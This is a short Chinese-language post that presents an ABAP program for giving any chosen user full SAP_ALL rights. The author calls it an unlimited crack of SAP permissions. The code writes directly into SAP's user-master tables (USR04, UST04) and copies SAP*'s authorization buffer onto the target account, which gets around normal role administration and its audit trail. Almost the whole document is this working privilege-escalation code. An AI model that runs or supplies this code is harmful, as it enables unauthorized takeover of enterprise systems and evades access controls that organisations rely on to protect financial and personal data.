下面的例子是给指定用户增加SAP ALL的权限ABAP代码,增加指定权限对像的没研究,只能自己看了。这应该是SAP权限的无限破解了吧。
例子中SAP*,是当前系统中有SAP_ALL权限的一个用户,用来参考使用的,根据实际系统用的最大权限用户,可修改为其它的用户。

- REPORT Z_WUYF_TEST001.
- data: l_USR04 LIKE USR04 ,
- l_UST04 LIKE UST04 ,
- l_PROFS LIKE USR04-PROFS ,
- l_USRBF2 like USRBF2 occurs 0 with header line,
- l_userid like usr01-bname.
- TABLES : usr01.
- SELECT-OPTIONS: p_user FOR USR01-BNAME .
-
- START-OF-SELECTION.
-
- select single * into l_USR04 from USR04
- where BNAME in p_user.
-
- move 'C SAP_ALL' to l_PROFS .
- l_USR04-NRPRO = '14'.
- l_USR04-PROFS = l_PROFS.
- Update USR04 from l_USR04 .
- l_userid = l_USR04-BNAME.
-
- select single * into l_UST04 from UST04
- where BNAME in p_user.
-
- l_UST04-PROFILE = 'SAP_ALL'.
- Update UST04 from l_UST04 .
-
- select * from USRBF2 into table l_USRBF2
- where BNAME = 'SAP*' .
-
- Loop at l_USRBF2.
- l_USRBF2-BNAME = l_userid.
- Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
- endloop.
-
- INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.